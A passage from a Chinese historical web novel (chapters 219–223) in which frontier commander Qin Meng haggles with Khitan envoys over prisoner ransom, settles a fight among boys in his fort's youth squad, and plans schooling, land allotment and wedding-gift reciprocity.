他目光锐利地扫过宝嘉尔:“咱们就隔着一条拒马河,草原上的光景,本将多少知道一些。”
“就说我们这边,平常靠放牧为生的边军,哪家不养着一匹驮马代步,驱赶着数十头羊?”
“草原上水草远比我们这边丰美,契丹又是数一数二的大族,普通牧民牛羊成群,一次性拿出十头牛、五匹马、一百只羊,应该不算太难吧?”
宝嘉尔立刻叫起苦来:“哎哟,我的秦大人呐!这已经是普通牧民全部的家当了。草原上的冬天特别难熬,拿出来,他们全家就得饿死!”
秦猛毫不客气地摆手打断:“哼,你少来哭穷。那是普通牧民,那些占着肥美牧场的大人物,比如你们的萧酋帅,还有万夫长勃发斤。
以及他俩麾下的千夫长、大当户,哪一个不是牛羊成群,骏马满山谷的贵族阔佬?再说了,没有了好马,抓捕草原上的野马驯服便是。”
“我听契丹勇士说,草原上野马群成千上万。你们契丹又是属于说的勇士,量你们地大物博。凑出这点赎金,对伏弗郁部来说,九牛一毛!”
最后,秦猛呵呵笑起来,一副你少骗我的架势。
“大人,部落有这没错,此刻河对岸营地拿不出。”宝嘉尔脸色变得又变,知道这个年轻周将不好糊弄,他对草原上的了解不逊色草原人。
“那你们能给多少?”秦猛是真打算把俘虏换为牛羊。
宝嘉尔伸出五根手指,试探着说:“三千匹战马,再加八千只羊……这是我们能给出的最大诚意了……”
“哼!”秦猛从鼻子里发出一声冷笑,声音冰寒:“我是真心想促成此事,你们是把我当傻子?”
哐啷啷!
王良和牛五等人刀拽出来半截,眼神变得凶狠。
顿时,屋内的气氛变得肃杀起来!
“呜呜呜,秦知寨息怒!”一阵嚎哭声突然响起。
第219章 战俘的价码
众人纷纷循声望去——
“大人呐!您通晓草原,却不知草原的冬日,是吞人的恶鬼!”那宝嘉尔眼眶泛红,喉间挤出压抑的干嚎声,挥退身后蠢蠢欲动的契丹武士。
他自己声音哽咽得几乎不成调,像是要将满心的“委屈”都揉进话语里:“您瞧着契丹是草原霸主,可背地里,漠北的突厥人盯着咱们的牧场,东北东胡,西北党项人抢咱们的商队!
今年又遇暴雪,部落里驯养的战马,连王庭的精锐都不够分,底下的小部落更是嗷嗷待哺。往年战士配三马甚至更多,现在仅有两马。”
等屋内肃杀的气氛稍稍缓和,他才收住哭声,膝行半步,朝秦猛抱拳,语气急切又带着哀求。
“大人,不是小的不愿多给,是河对岸营地真的拿不出!若是通知部落调运,暴雪封了山道,这一来一回,至少要大半个月才能送到!
您若不信,可派人去营地查验……”
“哼,休要诓骗我等。”秦大壮恶狠狠地打断他。这个老实人都察觉到眼前鞑子没安好心。
秦猛面无表情地看着宝嘉尔,指尖无意识地摩挲着桌角,心里却暗自有了计较,也愈发警惕。
——这家伙不仅嘴巧,真真假假说着草原上的局势。演功更是了得,倒是个谈判的好手。
“好了,不要动不动就动刀子嘛,要以和为贵。”秦猛平静的开口,摆手示意亲兵们收了刀。
“刀剑无眼,伤了和气,反倒坏了换俘的大事。”说这话时,他自己都觉得虚伪,可面上依旧保持着镇定,目光紧紧锁在宝嘉尔的身上。
“你都这样说了,本将并非嗜杀之人,又读过圣贤书,心地也算善良、忠厚,可以酌情减少一些。”
“善良?忠厚?”宝嘉尔的脸皮不由自主地抽搐了一下,心里疯狂呐喊:你这个动辄坑杀我数千勇士的杀才,也好意思说自己善良忠厚?
“怎么?你心里在骂我?”秦猛仿佛能看透他的心思。
“没没没……”宝嘉尔一惊,忙不迭摇头。
秦猛眼神如鹰隼般锁定他,露出玩味的笑容:“尔等觉得我不善良?那是你们先越境劫掠,杀我同胞!若非你们先起刀兵,又何来今日之祸?要怪怪自己,怪不得秦某手段狠辣!”
他继续施压:“我之前就说过,彼此知根知底。行情我也懂,一匹上好战马,价值堪比十头牛,等同百只肥羊。”
“本将要的是战马!后面的牛羊,不过是抵扣这些俘虏这些时日管理的费用,消耗的口粮!”
“若你们想用牛羊抵扣战马,这价格难道不该往上浮一些,当作是给本将和手下弟兄们的辛苦费?”
“老子手下几千号人要吃饭,要军饷,你们跑来劫掠,战败了被抓,难不成白白替你们养着俘虏?”
“草原上,不是没有先例,曾有室伟部落愿意出一千匹骏马,只求换回百余名被俘的族人。”
“你们想用区区三千匹战马,就把八百多精壮俘虏,其中还有几十个贵族子弟,全部换回去?
是你傻,还是当我傻?”秦猛脸色越发阴沉,猛地站起来,冷冷盯着宝嘉尔,一字一顿地说。
“现在是你们想要换回俘虏,我不急,我真的不急。这数百个俘虏,当苦力,也能换回钱粮。”
“秦知寨息怒,息怒。”宝嘉尔见秦猛态度越发不善,连连摆手,陪笑道:“萧酋帅和勃发斤大人也是想赎回儿郎,只是真的拿不出万匹好马。”
“是这样!”秦猛语气一顿,显出几分“肉痛”的表情:“罢了!本将就当结个善缘,吃点亏吧!”
“六千匹上好战马,一千头牛,万只羊!这个冬季冷,牧民担心白灾降临,都会贱卖牲口,你们部落收了很多牛羊?正好帮你们吃掉部分。”
“这是底线!交换俘虏也得讲诚信,你们赎回战俘,回去有交代。本将也不能胡来,如何对得起麾下浴血奋战的将士?不能寒了他们的心!”
“这……”宝嘉尔被这一连串的组合拳打得哑口无言,额头渗出冷汗。
秦猛见对方仍在犹豫,决定再下一剂猛药:“条件就在这儿,你回去转告萧铁鹰便是。”
“同意,立刻交换,我们放人,你们送来牲畜。”
“若是迟了,等虎贲军的赵擎苍将军一到,事情可就没这么好办了!”
“到时候,若是帅司来了命令,要求严惩俘虏,或是将俘虏押解进京献俘,那你们可就连谈的机会都没有了!”
“你自己考虑清楚吧!我建议你最好即刻返回,向上面禀报。本将军务繁忙,没空在此久耗。”
说完,秦猛毫不犹豫,转身便带着亲卫离开哨所。
“哎,秦知寨……”宝嘉尔回过神来,连忙追了出去,却发现秦猛带人走远,喊声被寒风吹散!
秦猛手握八百俘虏,便牢牢占据了主动权。
这些俘虏,无论是送到后方矿洞去挖矿挖煤,还是用来交换珍贵的战马牛羊,都稳赚不赔。
至于是否是放虎归山?秦猛根本就不在乎。来了,再抓一次便是!待明年,他有这个自信!
秦猛带队巡视防线,入哨所慰问,又去了趟烽燧堡。叮嘱加强戒备,不给别人可乘之机。
他虽然预测契丹不会再来袭击,但却也不敢掉以轻心。这种阴沟里翻船的蠢事尽量不要犯!
……
拒马河北岸,契丹大营。
最大的那顶皮帐内,气氛比帐外呼啸的风雪还要冰冷凝重。宝嘉尔飞马过河返回,如实禀报。
七八名契丹贵族围坐在几堆燃烧得并不旺盛的牛粪火旁,跳动的火光映照着他们阴沉铁青的脸。
空气仿佛凝固了一般,压抑得让人喘不过气,只有火堆偶尔爆出的噼啪声和外面风雪的呜咽。
长时间的沉默后,终于有人忍不住,低声用契丹语咒骂起来,声音里充满了屈辱和愤怒。
“六千匹战马!一千头牛!再加一万只羊!那秦猛是饿疯了的野狼吗?他怎么敢开出这样的条件?”
“这是要抽干我们部族的血,绝不能让他放肆。”
“早知道当初就该集中所有兵力,先踏平他那座小小的军寨,也不至于今日受此勒索!”
萧铁鹰并未坐在主位,而是居于左手第一位,脸色晦暗,眼布血丝,难以掩饰的疲惫和颓废。
自那夜偷袭惨败,他被伏弗郁部部长勃发斤“接应”回营后,便失了权柄。勃发斤带来的五千生力军,早已不动声色地控制了营地各处要隘,将萧铁鹰的残部隐隐包围、监视起来。
在此处,萧酋帅基本失去了话语权。
此刻,他如坐针毡,一言不发,仿佛一个局外人。
主位上坐着的,正是万夫长勃发斤。
他早年脸上挨过一刀,留下了一道歪斜的疤痕,使得他此刻的表情总带着几分讥诮和阴冷。
他听着帐内此起彼伏的怒骂和请战之声——尤其是那些自恃勇武的将领叫嚷着要连夜发兵,踏平南蛮军寨——终于不耐烦地冷哼一声。
“够了!”
勃发斤的声音不高,却带着一股煞气,瞬间压下了所有的嘈杂。
“吼叫如果能换回那八百勇士的性命,我现在就陪你们一起吼!但能吗?”
“这反而是懦弱的表现!”他阴鸷的目光扫过全场,那些冲动的将领在他逼视下纷纷低下头。
“秦猛不是蠢货,他既然敢开这个价,手里就握着筹码。
我们聚集在此,是为了找出最有利的解法,而不是把自己最后的力气耗在无用的叫骂上。”
大帐内重新安静下来,只余众人粗重的呼吸声。
勃发斤这才继续用他那特有的、带着一丝嘲弄的腔调说道:“秦猛放话说是赵擎苍要来,是真是假,尚难断定。
或许只是虚张声势,迫我们尽快就范的诈语。”
他略作停顿,指尖轻轻敲打着铺在面前的粗糙地图:“既然是谈,那就好好谈,明日再让宝嘉尔过河一趟。告诉他,我们的底线是……”
第220章 少年郎好勇斗狠
时近正午,冬日难得的暖阳勉强驱散了几分寒意。铁血军寨内,人声渐起,却秩序井然。
按照新的安排,官署下辖的三个少年班——主要由半大小子组成的“少青班”,“少年班”,七岁以下的幼童班。
今日将正式前往寨南新辟的学堂就读。这既能让他们接受更系统的教育,也能极大减轻老保长王槐、李恒等人平日兼顾教学的压力。
吃过午饭,哨声响起。
官署前的空地上,孩子们走出公事房。
“少青队集合!”栓子粗声吆喝,三十多个后生仔应声站定,每人或扛着板凳,或两人抬着特制的条形木桌,如条长龙般向外面走去。
这群孩子都是十二岁以上,经过简单的军事训练。早被军营规矩磨出了章法,动作敏捷犹如小豹子,队列齐整得连王槐都忍不住点头。
他看着少年们陆续集结,眉头终于松了半截。
——自打军寨办起少年班,他和李恒这些文吏便要抽空参与教识字,如今寨南辟了临时学堂,聘了几位秀才、教授,往后孩子们白日上课,他只需要偶尔演讲,不需要教孩子识字。
另一边,则由红姑、文琴等女兵暂时看顾着的幼童班。
四到七岁的小娃娃们背着各式各样、针脚细密的小布包,里面装着笔墨和认字用的白板。
他们虽偶有嬉闹,但在女人们温柔的安抚下,倒也还算听话,一双双乌溜溜的眼睛好奇地打量着即将同去的“大学堂”和那些忙碌的人群。
然而,就在这集结过程中,少年队那边却陡然生变。
问题出在排头的位置。
按照既定序列,队长小石头自然该站在队伍最前方。但他的位置却被两个高大的身影牢牢占着。
是秦硕和李魁,
秦硕是秦大壮的儿子,十一岁的年纪已长到他爹胸口,一身腱子肉裹在棉袍里,瞧着比同龄孩子壮实半截。
李魁紧随其后,作为李山的堂弟,膀大腰粗,下巴抬得老高,呼出的白气都带着几分蛮横。
两人都是原堡民出身,自恃身份,又兼年少气盛,对于瘦弱的小石头成为队长早已心存不满。
此刻见要整队出发,那点不服气混合着表现欲,一下子爆发出来。
“凭什么你站第一个?让开!”秦硕膀子一横,就想把小石头挤开。
李魁也瓮声瓮气地帮腔:“就是,俺们力气大,最能打,该走前头带路!”
小石头虽瘦,性子却极野,尤其是自幼父亲便杳无音讯,更养成了一股不肯吃亏的韧劲。
他见二人挑衅,眉头紧拧,瘦小的身躯像钉子般站稳,毫不退让:“我是队长,就得站这!”
“这是规矩,你们后退!”
“狗屁规矩!军中以强者为尊,拳头大才是规矩!”秦硕嗤笑一声,反手搡了小石头一个趔趄。
“就你这小豆芽菜的模样,也配当队长?我爹是副将,论出身、论力气,这位置都该是我的!”
李魁立刻帮腔,声音瓮声瓮气:“就是!俺常年跟着山哥上山打猎,前年还亲手杀过野猪,你行吗?连只狍子都抓不住的软蛋!”
这话像火星子掉进了油桶,小石头瞬间红了眼。
他最恨别人说他弱,更恨别人拿出身压人,当即扑上去揪住秦硕的衣领,雪沫子顺着他的动作撒落:“秦猛大人选的是有本事的,不是靠爹撑腰的孬种!”
秦硕哪里忍得?挥拳就往他脸上砸,拳头带着风雪的寒气,结结实实地落在小石头颧骨上。
李魁见状,也跟着动手,抬脚踹向小石头的膝盖。小石头毫不示弱地反击,三个孩子瞬间扭打成一团,滚在积雪里,棉袍很快被雪水浸透。
周围的少年们吓得惊呼,几个想上前拉架的,全被秦硕一脚踹开,雪地上留下一个个深深的脚印。
秦硕和李魁人高马大,拳头落在小石头身上,每一下都带着闷响,可小石头半点不怵。
他被打得鼻血直流,殷红的血滴在白雪上,格外刺眼,却反而像疯了似的,抓起地上的板凳就往两人背上砸。
“哎哟!”趁秦硕捂脸的间隙,小石头狠狠一口咬在他的耳朵上,又对着李魁的眼眶挥出一拳。
不过片刻,三人都挂了彩。
——秦硕脸被抓伤,耳朵渗出了血,染红了半边棉袍;李魁左眼肿成了乌青,像揣了颗紫葡萄。
小石头的鼻血糊了半张脸,却依旧死死抱着秦硕的腿,不肯松手,抽出手往他裆部捶打。
“住手!都给我住手!”惊呼声和呵斥声几乎同时响起。
负责组织的老保长王槐、孔目李恒,以及附近值守的军卒见状,急忙飞奔过来,费了好大劲,才将三个滚地葫芦般的少年强行分开。
只见三人皆是狼狈不堪,衣衫不整,身上染血。
尤其是小石头,鼻血长流,染红了前襟,但一双眼睛却死死瞪着秦硕和李魁,满是倔强和不屈。
秦硕捂着流血的耳朵,李魁捂着眼睛痛处,虽是先动手的一方,在小石头那拼命的打法下也没讨到太多便宜,气焰不由得矮了三分,但也是狠狠瞪着小石头,眼神里的不服依旧明显。
老保长王槐看着眼前一片狼藉,气得山羊胡子直翘:“反了天了!去,快去禀报知寨大人!”
一场好好的开学,竟以这样一场全武行拉开了序幕。
秦猛刚巡视完寨墙防务,马蹄踏着渐深的积雪,咯吱作响。才到前寨门口,就见亲兵部将阮大骑着快马,一脸哭笑不得地冲了出来。
阮大见到秦猛,连忙勒住缰绳。
“大人,可算找到您了!打起来了!”阮大语气急促。
秦猛一拉马缰,眉头蹙起:“慌什么?谁打起来了?鞑子摸过来了?”
“不是鞑子,”阮大拍马凑近了些,压低声音。
“是少年队那帮小崽子,秦硕、李魁,还有小石头队长,为了站队次序,在官署空地那儿掐起来了,打得鼻青脸肿,鼻血横流,刚被王老保长他们拉开了,送到唐医官那儿去了。”
“呵!”秦猛闻言,气极反笑,低声骂了句,“这群不省心的小兔崽子,屁大点事也能内讧!”
说罢,他不再多言,一夹马腹,战马嘶鸣一声,如箭般冲入军寨,径直朝着军医局的方向而去。
军医局内,药味弥漫。
唐博正小心翼翼地给三个挂彩的少年郎敷药。此刻的三人被军卒按住肩膀,却怒目而视。
秦猛掀开布帘,裹挟着一身风雪进来,带进的寒意让屋内几人都是一个激灵,纷纷转头望去。
他阴沉着脸,目光如刀,依次扫过三个脸上青紫、呲牙咧嘴,却仍像斗鸡般互相瞪视的少年。
“怎么回事?为什么打架?”
秦猛声音不高,却带着一股不容置疑的威压,虽是明知故问,但却要看他们如何应答。
见到秦猛,秦硕和李魁先前的那点嚣张气焰瞬间熄灭,心虚地低下头,嗫嚅着不敢出声。
小石头却猛地站起身,尽管脸上疼痛让他嘴角抽搐,却依旧挺直腰板,指着二人,声音带着委屈和愤怒,但条理清晰:“回禀知寨大人。
前番列队时,秦硕、李魁不服命令,强抢领队位置,我出言制止,他们仗着背后有人撑腰,先动手推搡,辱骂,继而合伙殴打我!”
“我愤怒,反击之!”
“是这么回事吗?”秦猛的目光转向秦硕和李魁,沉声问道。
两个半大小子感受到那目光的压力,不敢与之对视,脑袋垂得更低,支支吾吾,算是默认。
就在这时,外面脚步声杂沓,门帘再次被掀开,几人鱼贯而入,是得到消息的秦大壮、李山,以及满脸灰黑的李铁匠,闻讯急匆匆赶来。
第221章 立约:励志待春来
秦大壮和李铁匠见到自家小子那副狼狈的模样,又听到刚才小石头的指控,脸色铁青一片。若非是场合不对,肯定又是上前巴掌伺候。
秦硕和李魁这两人见自家长辈来了,仿佛瞬间找到了主心骨,心头有底气,胸膛挺起来了。
“秦知寨,我不服!”秦硕仗着胆子,昂起头,指着小石头,“明明我比他强壮,跟人打架没说过,也能骑马射箭,为什么这队长您让他当?”
李魁也瓮声瓮气地附和:“就是,俺也不差!那百来斤的磨盘俺轻松举起来,丢老远。又跟着山哥进山打猎,还亲手捅死过野猪哩!”
“凭啥不选自己人。”李魁有点憨,闷闷地说道。
“混账东西!你闭嘴,怎么跟大人说话的?”秦大壮和李山见状,脸色更加阴沉,一个箭步,各自一把揪住自家小子的耳朵,厉声喝斥。
秦大壮更是举起蒲扇大的巴掌,就要朝儿子脸上掴去。
“好了,孩子间的打闹,打他干啥?”秦猛上前一步,手臂一伸,稳稳抓住了秦大壮的手腕。
他看了看梗着脖子的秦硕和李魁,脸上非但没有怒色,反而咧开嘴,露出一抹意味不明的笑容:“行啊,你俩小子倒是有几分胆气,敢当面把心中的不满说出来,稟质疑我的安排。”
他话锋一转,语气变得严肃:“但是,咱军寨不是普通村镇,宗旨是服从命令听指挥。
不服安排,不听号令,合伙打队长,这就是违反军纪!在战场上,这就是抗命哗变的苗头!”
“大人,这…孩子们还小,不懂事……”秦大壮一听“抗命”、“哗变”这么重的词,顿时急了,连忙想要求情。
“大人,回去好好教训他,这点小事没必要……”李铁匠和李山也面露惶急之色,也是开口劝说。
“放心,我有分寸。”秦猛却一摆手,制止了众人:“念在你们年纪尚小,又是初犯,重罚可免。”
他目光扫过三个少年,最终定格在秦硕和李魁脸上,“不过,规矩就是规矩,若是不处置,否则,难以服众,这队伍以后也没法带。”
“你们不是不服小石头当队长吗?好,我给你们一个机会。”秦猛声音提高,“我早有打算,明年开春时,少年队会进行文武综合考核。
若你两个人的总成绩能超过小石头,我就让你们俩来当这个正副队长。可要是你们的成绩不如他……”
秦猛眼神一厉:“那你们就得当着全体少年的面,向小石头赔礼道歉!并保证今后服从命令,绝不再仗着身强力壮欺负同伴,严守纪律。
若再犯,数罪并罚,定不轻饶!”
“怎么样?敢不敢应战?”秦猛挑衅地看着他们。
少年人最受不得激将,秦硕和李魁被这么一激,胸中那点好胜心彻底被点燃,也顾不上疼痛了,昂首挺胸,大声应道:“有啥不敢?”
“比就比!说话算话!”
“好!一言为定!”秦猛点头。
一旁的小石头,听到这个处置,眼中闪过一丝不甘。
他看了看面露焦急的秦大壮和李山,又看了看似乎已经达成“和解”的秦硕和李魁,抿紧了嘴唇,最终还是没有吭声,只是默默攥紧了拳头。
秦猛敏锐地捕捉到了小石头神色的细微变化,嘴角几不可察地勾起一抹笑意,又看向秦大壮和李山:“秦副将,李副将,你们不可松懈。
咱们是人民子弟兵,不是城里的权贵商贾,可不兴仗势欺人那一套,这是边塞,应当团结。”
“将军放心,末将记下了。”秦大壮一拱手,恶狠狠地看着儿子秦硕,像是在说回去再收拾。
李山则是中堂弟笑了笑,拳头捏得咔吧作响。把天不怕地不怕的李魁吓得躲到李铁匠身后。
秦猛不再说此事,站在一旁,看着唐博为三人仔细清理伤口、敷上药膏。
不多时,伤口处理完毕。秦大壮和李铁匠各自黑着脸,拎着自家惹是生非的小子,骂骂咧咧地离开了军医局,隐约还能听到喝斥声。
军医局外,风雪稍歇。
秦猛叫住了独自一人、低着头默默往外走的小石头。
他走上前,大手轻轻拍了拍小石头尚未宽阔的肩膀,又揉了揉他的脑袋,语气缓和下来:“是不是心里不痛快?觉得我偏袒了他们,没给你出气?”
小石头抬起头,眼眶有些发红,重重地“嗯”了一声,声音带着哽咽:“他们……他们合伙欺负人,平时总是阴阳怪气,说我是豆芽菜……”
“哎,都是孩子懂什么?长大了,就明白事理。”秦猛笑了笑,眼中闪过一丝追忆,当年他小时候,也跟伙伴们嘲笑过又高又瘦的麻杆哥。
他蹲下身,平视着小石头的眼睛,问道:“那你说,我该怎么给你出气?我不好打他们。那把秦副将,你根生爷吊起来打一顿军棍?”
小石头愣了一下,随即把脑袋摇得像拨浪鼓:“大人,犯不着这样,您如此就太过分了。军中讲规矩,不是不分青红皂白就乱打人。”
“说得对,军中讲究的是规矩,是服众,不是单纯的谁拳头大就听谁的,那跟山匪有什么区别?”
秦猛收敛笑容,正色道,“小家伙,人这一辈子,总会遇到委屈,鬼经历过许多事儿,咽下一些不甘。没人能像一张白纸,一点故事都没有。
成长嘛,有时候就是得擦干眼泪,把原来的样子藏起来一点,然后昂首挺胸,继续往前走。”
他指着秦硕和李魁离开的方向:“他们现在不服你,是因为觉得你弱。光靠我压,是压不住的。
你要做的,不是指望我帮你惩罚他们,而是自己争口气。吃饱了长身体,多训练,学习本事。”
秦猛的声音带着鼓励和期望:“男子汉心胸要开阔。不要什么事就斤斤计较,那是小肚鸡肠。
好好学识字,用心练武。等到明年开春比试,再用实实在在的成绩,打得他们心服口服。
到时候,你这个队长的位置,手下又有人手,才坐得稳稳当当。要是还憋着气,等考核完了,找个由头,凭真本事揍他们一顿也行!
就看你有没有这个决心,有没有这个本事了!”
小石头听着秦猛的话,眼中的委屈渐渐被一种明亮的光芒取代。
他紧握双拳,在空中狠狠一挥,仿佛面前就是秦硕和李魁,恶狠狠地说道:“有!我一定有!
我要在考核中赢过他们,我还要……还要把他们打得满地找牙!”
看着小石头重新燃起的斗志,秦猛哈哈大笑,用力拍了拍他的后背:“好小子!有志气!我相信你!那就去努力吧!”
“是!大人!”小石头挺起胸膛,大声应道,用袖口擦了擦眼睛,泪光早已被坚定的光芒取代。
他向秦猛行了个不算标准却极为用力的军礼,转身,大步朝着学堂的方向跑去。
小小的身影在雪地里踩出一串坚定的脚印。
秦猛站在原地,望着小石头消失在拐角的背影,脸上的笑容渐渐化为一丝复杂的感慨。
这些少年,是学习新理念的苗子,是铁血军寨的未来。他们的棱角需要打磨,意气需要引导。
今日之事,是风波,也是一课。
但愿这些雏鹰能早日炼硬翅膀,在这残酷的世道里,搏击长空。
“小孩如此,成年人心思复杂,肯定也有想法。”秦猛突然止步,转身去找老保长来预防此事。
……
(老保长王槐是军寨主簿,用保长这个称呼更加亲切)
第222章 未雨绸缪
寨南新开辟的临时学堂。屋外风雪呼号,屋内却因挤满了人与烧得正旺的炭盆而暖意融融。
老保长王槐正拄着拐杖,在廊道慢慢踱步,看着几个班大大小小的娃娃、少年,在小板子上歪歪扭扭地描画,老脸上是掩不住的欣慰。
秦猛寻了过来,没有立刻打扰,只靠在门框边看了一会儿,直到王槐转头看见他时走了过来。
秦猛与老人到了一边,低声开口:“老爷子,眼下流民安置已毕,军寨内各项事务也算捋顺了,这内部的纠纷诉讼,您老得多费心。”
“放心,眼下寨子里还算安稳。”王槐捻着胡须,压低了声音,“流民新附,又是在军法管束下,以工代赈,目前还没生出多少是非来。
即便有些小口角,或有小矛盾,找相熟的队正、老卒说和了事,还没闹到需开堂审案的地步。”
秦猛点头,这在他的预料之中。严格的军事管理和共同的生存压力,暂时压制了许多矛盾。
“不过,”老保长话锋一转,眼中透出经验带来的忧虑,“依老头子的经验来看,真正的坎在明年开春。
一旦开荒分地,土地有肥沃有贫瘠,有靠近水源,有靠近丘陵,分起来定然有争执。
到时候,怕是要你这知寨大人亲自坐镇才压得住场子。”
“那就来抓阄!”秦猛几乎不假思索,2??后世生产队分地的法子脱口而出,“等荒地全部开垦出来,就统一规划,丈量划分成标准块。
编号造册,全凭手气抓阄来决定归属,好坏天命,谁也没得怨。”
“抓阄?”王槐先是怔了一下,随即浑浊的老眼猛地一亮:“妙啊!这个办法好!公平,省事,还能绝了许多人的小心思,就这么办!”
秦猛受到肯定,思路也更活跃起来,继续补充道:“光抓阄还不够,得有些辅助法子。
比如,抓到靠近山丘薄地的,明年春耕时,堡里组织挖水渠时优先照顾他们那段。
寨中的耕牛、驮马,也可酌情优先分配使用。总之,尽量安抚为主,让民众心里平衡些。”
“对了,鲁师傅那边,我前几日去瞧过,水车的骨架已经立起来了,看进度,年前应该能做好第一批。”秦猛想起另一件事,补充说道。
“好啊!有了水车,开春引水灌溉就省力多了。”王槐脸上褶子都笑开了花,但随即又肃容道。
“猛子,明年是关键的一年,要开垦的荒地多,要抢的农时紧,人手,才是最关键的啊。”
“我明白。”秦猛颔首,声音压低,“所以,老爷子,那些还在编外人员,您得多‘忽悠’……
咳,是多劝说一下,让他们安心在咱们军寨落户。告诉他们,只要落了户,开了荒分了地,地就是他们自己的,两年内赋税全免!”
“没问题!这事儿包在老头子身上!”王槐拍着胸脯保证。
两人又低声商议了一阵明年春耕及相关细节。目光却始终没离开那些认真习字的少年身上。
这所临时开辟的学堂,根据年龄和基础,共设了六个班。
一个少青营班,一个少年队班,六十多个四到七岁的娃娃分成了三个蒙童班,还有一个成年扫盲班。
军寨给朱俊等几位秀才教官开的例钱不低,每月五贯钱,逢年过节另有补贴,也享受堡内军属待遇。
总教授朱俊已与其他秀才商量好,按各自擅长教学,分工教导孩子们识文断字,算术听写……
就连少年班内,之前还打得鼻青脸肿的小石头、秦硕、李魁三人。
此刻也暂时收起了“斗鸡眼”的架势,一个个挺直腰板,跟着台上的先生念着“张王李赵”,虽偶尔因伤龇牙咧嘴,但神情却颇为专注。
“大人,你快看,那是……”走过一间用作幼童班的铺屋时,王老保长突然拽住秦猛的胳膊,将他拉后两步,指着里面,脸上带着促狭的笑意。
秦猛侧头望去,不由也是一愣。这是三个萌童班中的一个,屋里十几个三四岁的娃娃,正是猫狗都嫌的年纪。
此刻,一个身着素净棉裙、年纪约莫二八年华的少女,正耐心地安抚着哭闹的孩童,声音温柔。
少女身段婀娜,五官精致,正是诸葛风的妹妹,诸葛瑾。
但这并非重点,重点是,李恒这小子,居然也在屋里!
他脸上堆着和善笑容,一会帮这个娃娃擦掉鼻涕,一会给那个孩子递上温水,忙前忙后,眼神却像黏在了诸葛瑾身上一般,透着股藏不住的殷勤。
无脑恋爱感扑面而来,秦猛忍不住笑出声。
“这是看上人家姑娘了?”
“嘿,根生家的小子,倒是好眼光。”王槐也唏嘘地咂咂嘴,“诸葛家虽是落难,但到底是书香门第。这诸葛瑾姑娘,模样性情都是顶好的。”
“老爷子,”秦猛眼睛一转,用胳膊肘轻轻碰了碰王槐,“这事儿,我看有门。您老德高望重,又是看着李恒长大的,这撮合姻缘的美差,非您莫属啊。”
“哼,你咋不去?”王保长翻着白眼。
秦猛拿捏着架子:“你看我这身份,真不合适啊!找子壑说这茬,这不是以势压人吗?”
“哼,我看你小子就是想偷懒,把这磨嘴皮子的事推给老头子我。”王槐没好气地白了秦猛一眼,但捋着山羊胡须的手却透出几分意动。
“行吧,这事儿老头儿就多几句嘴。”王老保长答应下来。随即又像是想起什么,压低声音道。
“对了,大人,近来缴获的金银首饰,有许多精致的‘好货’,重新熔炼了可惜,让常九去脱手,没准其他州府有贵人癖好独特,喜欢这调调。”
“想到一块去了。”秦猛点头,“这事我回头会找他细谈。另外,我还有件私事,想请他帮个忙。”
“你心里有数就成。”老保长不再多问。两人又聊了一会教学事宜,便在这学堂外各自散去。
秦猛带着王良等亲兵,回到官署后院。可尚未进门,便听得里面训练时的呼喝声此起彼伏。
左边空地上是他的亲兵队在操练近战搏杀。
右边则成了“娘子军”的校场。秦小芸和王艳两人站在队前,正带着一群妇人女子练习最基本的持械姿势。
而这次,场边还多了几名飞虎卫的精锐在指导射箭。
袁飞赫然在列!
这小子正亲自示范,挽弓搭箭,对秦小芸讲解道:“这射箭,不仅手要稳,呼吸更要稳,心静,箭才准……”
秦猛看得眼皮微微一跳,却并未出声制止,只对身后亲兵挥挥手,让他们自去食堂用饭。
他则迈步走向正屋,掀开厚厚的棉帘,顿时一股暖意夹杂着淡淡的药香和墨香扑面而来。
陈月娘正坐在堂屋的炭盆边,就着光亮翻阅一本医书,不时向身旁的林婉儿请教着什么。
“月娘,哟!婉儿也在?”
秦猛出声招呼,将沾满雪花的裘绒大氅解下挂好。
自祭拜父母归来途中,林婉儿觉得总称“林姑娘”显得生分,在月娘首肯下,他便改了口称“婉儿”。
“呀,官人,你回来啦?”陈月娘见是秦猛,脸上顿时漾开笑意,放下书本站起身,
“伙房给你炖的鸡汤,一直在灶上温着,我这就去端来。”
“我去!”侍女小蛮自告奋勇,转身就小跑着冲向伙房。
“秦大哥。”林婉儿也起身,敛衽一礼。
“坐,都坐。”秦猛摆手,走到炭盆边烤着火,对陈月娘道,“月娘,这几日风雪大,你就在家好好跟婉儿学习医理,尽量不要外出走动。”
“知道啦,官人!”陈月娘柔顺应下。
“对了,之前前院吵吵闹闹c是发生什么事了?”
“哎,这几个小兔崽子起了冲突……”
……
第223章 风雪辞友,寸利不让
自腊月十八,秦猛大婚次日始。
前来道贺的宾客便陆陆续续告辞返程。
秦猛为人处世,不愿亏欠,回礼也颇费心思,多是几坛独有的“北风烈”酒,外加两只肥羊。关系近的如李家,罗家,更是回送了种羊。
秦猛吃完饭,握着陈月娘和林婉儿整理出的贺礼清单,独自走向仓房,查看堆积如山的礼品。
从大婚当天到现在,他才有空闲瞅瞅宾客的贺礼。
“常九送了一对金童玉女,彩绸二十匹,五百石粟米。”
“知县韩齐送了极品香茗三包,蜀锦绸缎六匹,五百石粗麦。”
“郡守林安国遣人送来文房四宝,十匹江南丝绸,一匣上等龙井。”
“魏知寨送来一把镶嵌宝石的金刀,一个极品翡翠质地的聚宝盆。以及百坛好酒,红烛纱帐等物。”
“赵将军的礼最重,符合边将风格——百套亲兵重甲,十张完整熊皮,一对给孩子的长命金锁。”
……
李家、罗家等本郡大族,贺礼喜烛,金酒银酒,粮秣是基础,珍贵物件儿:珍珠头面、玛瑙手串、镀银茶具,虽常见却体面,堆了半墙角落。
每一件都标注着姓名,代表边陲人情与身份差异。
秦猛指尖划过礼单,轻叹道:“在这异世界,这苦寒之地,人情往来倒也分明得如雪地足迹!”
别人送礼祝贺,那是给面儿。
以后人家有红白喜事,他秦猛也得派人送礼慰问。
他从仓房里出来,嘱咐陈月娘打理,便来到校场练武,并亲自指点亲兵们近战搏杀之术。
秦小芸、王艳等人亦在一旁观摩学习,就连袁飞等飞虎卫也被这实用的战法吸引,加入练习行列。
正练得酣畅,张崇与庞仁联袂而来,向秦猛辞行。
婚宴已毕,他们又身负军职,不得不踏上了归程。
秦猛快步迎上,拍落肩头雪花,言辞恳切:“张统制,庞巡检,何事如此匆忙?这风雪正紧,何不多住两日,待天气稍缓再行不迟?”
“谢秦知寨盛情。”张崇抱拳还礼,脸上带着几分无奈:“然年关将近,地方军队冬训、防务诸事繁杂,需得尽快回去主持,实在不敢久留。”
“我也是如此。”庞仁接口道,“巡检司驻地至关重要,不可久虚。”
秦猛见二人去意已决,便不再强留,吩咐亲兵去马厩牵马:“既如此,我送送两位兄弟。”
